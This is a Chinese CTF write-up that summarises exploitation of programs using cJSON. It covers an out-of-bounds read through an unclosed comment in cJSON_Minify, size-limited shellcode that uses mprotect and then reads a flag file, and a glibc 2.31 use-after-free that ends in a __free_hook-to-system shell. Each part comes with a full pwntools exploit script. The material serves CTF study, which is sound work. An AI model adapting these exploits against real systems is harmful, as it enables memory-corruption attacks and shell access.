要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结
要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结
闻人语默 老鑫安全 2024-12-29 10:00
简介
JSON(JavaScript Object Notation)
是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。它以纯文本形式存储和传输数据,广泛应用于客户端和服务器之间的数据交互。
JSON格式
-
键/值对用冒号 :
分隔。 -
多个键/值对之间用逗号 ,
分隔。 -
对象和数组可以嵌套,即可以在对象中包含其他对象或数组,或者在数组中包含对象或其他数组。
每个格式例子
字符串(String)
{ "greeting": "Hello, World!"}
数字(Number)
{ "age": 25, "height": 1.75}
布尔值(Boolean)
{ "isStudent": true, "isGraduated": false}
空值(Null)
{ "middleName": null}
对象(Object)
{ "person": { "name": "Bob", "age": 30 }}
数组(Array)
json{ "fruits": ["apple", "banana", "cherry"]}
嵌套数组和对象
{ "company": "Tech Corp", "established": 1999, "isPublic": true, "employees": [ { "name": "Alice", "age": 28, "skills": ["Java", "Python"], "address": { "city": "New York", "postalCode": null } }, { "name": "Bob", "age": 34, "skills": ["JavaScript", "HTML"], "address": { "city": "San Francisco", "postalCode": "94123" } } ]}
cJSON 是一个轻量级的 C 语言库,用于高效地解析和生成 JSON 数据。它提供简单易用的 API,支持基本的 JSON 数据类型,如对象、数组、字符串、数字、布尔值和空值。cJSON 的设计注重性能和内存占用,适合嵌入式系统和资源受限的环境,能够在多种操作系统上运行,广泛用于需要 JSON 数据交互的应用中。
字符串(String)
cJSON结构体
typedef struct cJSON{ struct cJSON *next, *prev; struct cJSON *child; int type; char *valuestring; int valueint; double valuedouble; char *string;} cJSON;
-
next
: 指向下一个同级 JSON 对象或元素的指针。这使得 cJSON
能够形成一个链表,从而支持 JSON 数组和对象的遍历。 -
prev
: 指向前一个同级 JSON 对象或元素的指针。与 next
一起,这提供了双向遍历的能力。 -
child
: 指向当前 JSON 对象的第一个子元素的指针。对于嵌套的 JSON 对象,可以通过这个指针访问子对象或子数组。
type
用于区分 JSON 对象的不同类型,具体值及其含义如下:
- 0: `false` — 表示布尔假值- 1: `true` — 表示布尔真值- 2: `null` — 表示空值- 3: `number` — 表示数值(整数或浮点数)- 4: `string` — 表示字符串- 5: `array` — 表示数组- 6: `object` — 表示对象(键值对)
-
type
与 string
和 value*
的关系 -
type
字段决定了当前 cJSON
实例的具体类型,这直接影响 string
和 value*
字段的有效性。 -
只有当 type
值为 4
时,valuestring
字段才有效,意味着只有在当前类型为字符串时,该字段才会被赋予实际的字符串数据。 -
只有当 type
值为 3
时,valueint
或 valuedouble
字段才有效,这表明在当前类型为数字时,这些字段将被填充有效的数值数据。
序列化cJSON结构体
2021 SCTF dataleak
程序保护
漏洞分析
这里初看是没有什么漏洞的,不存在溢出和连带读的情况,但是有个cJSON_minify函数 通过ida对给的libcjson文件静态分析发现
将这个转化一下为
#include <stdint.h>#include <stdbool.h>void cJSON_Minify(char *json) { if (!json) return; char *jsona = json; uint8_t *into = (uint8_t *)json; while (*jsona) { switch (*jsona) { case ' ': case '\t': case '\r': case '\n': jsona++; // Skip whitespace break; case '/': if (jsona[1] == '/') { while (*jsona && *jsona != '\n') jsona++; // Skip single-line comment } else if (jsona[1] == '*') { jsona += 2; // Skip the /* while (*jsona && !(*jsona == '*' && jsona[1] == '/')) { if (!*jsona) return; // Exit if we reach the end without closing jsona++; // Skip until end of comment } jsona += 2; // Skip the */ } else { *into++ = *jsona++; // Copy character } break; case '"': *into++ = *jsona++; while (*jsona && *jsona != '"') { *into++ = *jsona++; // Copy character if (*(jsona - 1) == '\\') *into++ = *jsona++; // Copy escaped character } if (*jsona) *into++ = *jsona++; // Copy closing quote break; default: *into++ = *jsona++; // Copy normal character break; } } *into = 0; // Null-terminate the new string}
这里存在一个注释没有对未闭合进行检测的情况,就比如如果我是/aaaaaaaaaaaaaaaaaa 但是没闭合的话 这种情况就会一直执行这个循环 也就是jsona++但是我们读入是通过
into++ = *jsona++进行的读入 就会导致我们可以越界读到程序让我们leak的位置
可以看到正常读入是这个样子,此时我们需要泄露的this_is_data_in_server有22字节,按照我们上面的分析如果全是注释没闭合那么,就会把this读入到xxx90的位置,rsi是我们wirite的地址,也就是读出末尾的server
那么我们就可以通过控制注释的size 来分两次读出flag
exp
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg(): gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\s('aaaaaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('aaaaaaaa/*'.ljust(0xe,'b')) #'this_is_dat'flag1=mx.recv(0xb)s('aaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('/*'.ljust(0xe,'b')) #'this_is_dat'flag2=mx.recv(0xb)print(flag1+flag2)inter()
2024 强网拟态 ezcode
程序保护
漏洞分析
这里有个cJSON_Parse 将JSON字符串反序列化为CJSON结构体 并且cJSON_GetObjectItemCaseSensitive(v7, “shellcode”); 取的是shellcode的值 因此我们只要
{"shellcode":content.hex()}
以这个格式就可以传输了 我们可以测试一下
可以看到我们是可以传输的:
但是题目限制了22字节的shellcode 并且此时的0x9998000段是没有可写权限的 因此我们要mprotect赋予权限 并且 再次read一次读入orw的shellcode
这里要设置一下
rdi要为0x9998000 rsi要为len 不变就行 rdx为7
shl edi,12mov ax,10mov dx,7syscall
rdi为
xor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall
但是这里是24字节,多了两字节 可以从这里优化mov dx,7 改为lea edx,[rax-3]
刚好22字节 然后就读入shellcode进行orw就可以了
orw_shellcode
mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall
exp
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg(): gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./vuln"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\content=asm('''shl edi, 12mov ax,10lea edx,[rax-3]syscallxor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall''')print(len(content))payload={"shellcode":content.hex()}sl(json.dumps(payload))orw=asm('''mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall''')payload=b'flag\x00'+b'\x00'*5+orwsl(payload)inter()
2024 ciscn决赛 ezheap
程序保护
漏洞分析
从这里可以看出来是有一个取值的过程,并且是相互对应的,如果没有取出来则会进入error退出程序
而v10来源于v13经过处理函数,跟进这个函数发现:
存在一些json格式的特征,像null false true这种就是json格式中的布尔值,同时也有闭合{}的检测 因此可以基本确定发送的是json格式
交互脚本
def add(size,cont): payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' sl(payload)def delete(num): payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def show(num): payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def edit(idx,len,cont): payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' print(payload) sl(payload)
漏洞分析
没有置0 这里存在uaf漏洞 并且是2.31 存在uaf漏洞且没限制基本随便打了,这里难点就是因为是json的传输,导致泄露的时候会有一些干扰 我们要通过调试来调整传输的东西进行泄露
exp
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg(): gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\def add(size,cont): payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' sl(payload)def delete(num): payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def show(num): payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def edit(idx,len,cont): payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' print(payload) sl(payload)add(0x400,b'a') #0add(0x400,b'a') #1delete(0)for i in range(6): edit(0,0x400,b'a'*0x10) delete(0)dbg()delete(1)add(0x60,b'') #2edit(2,1,b'\xe0')show(2)libc_addr=l64()-0x1ecbe0log_addr(libc_addr)libc.address=libc_addrsystem=libc.sym['system']free_hook=libc.sym['__free_hook']edit(0,0x8,p64(free_hook)[:6])add(0x400,b'a;/bin/sh')#edit(2,0x10,b'/bin/sh\x00')#add(0x400,b'a')edit(4,0x8,p64(system)[:6])delete(3)inter()
原文l链接:https://xz.aliyun.com/t/16928
更多姿势知识星球:
相关课程:
相关活动: